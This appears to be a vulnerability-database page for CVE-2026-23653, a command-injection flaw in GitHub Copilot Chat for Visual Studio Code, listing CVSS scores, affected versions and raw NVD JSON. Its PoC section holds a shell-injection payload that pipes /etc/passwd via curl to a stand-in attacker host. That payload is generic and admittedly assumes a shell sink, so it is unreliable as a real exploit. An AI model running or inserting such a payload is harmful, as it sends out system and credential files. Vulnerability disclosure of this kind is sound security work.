Security Vulnerability Report
中文
CVE-2026-23653 CVSS 5.7 MEDIUM

CVE-2026-23653

Published: 2026-04-14 18:16:44
Last Modified: 2026-05-06 18:01:52

Description

Improper neutralization of special elements used in a command ('command injection') in GitHub Copilot and Visual Studio Code allows an authorized attacker to disclose information over a network.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:github_copilot_chat:*:*:*:*:*:visual_studio_code:*:* - VULNERABLE
GitHub Copilot (具体版本未在描述中指定)
Visual Studio Code (具体版本未在描述中指定)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-23653 # This payload demonstrates a command injection scenario. # It assumes the vulnerable input is directly passed to a system shell. # Malicious input to be injected into Copilot/VSCode context payload = "valid_suggestion; curl -d @/etc/passwd http://attacker.com/exfil #" # Explanation: # 1. 'valid_suggestion' acts as a benign prefix to bypass basic checks. # 2. ';' is the command separator in Unix-like shells, allowing a second command. # 3. 'curl' executes to exfiltrate sensitive file contents to a remote server. # 4. '#' comments out the rest of the line to prevent syntax errors.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23653", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:44.137", "lastModified": "2026-05-06T18:01:51.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in GitHub Copilot and Visual Studio Code allows an authorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:github_copilot_chat:*:*:*:*:*:visual_studio_code:*:*", "versionEndExcluding": "0.37.3", "matchCriteriaId": "01405103-93CF-4736-B2C2-B216BCF58FFF"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}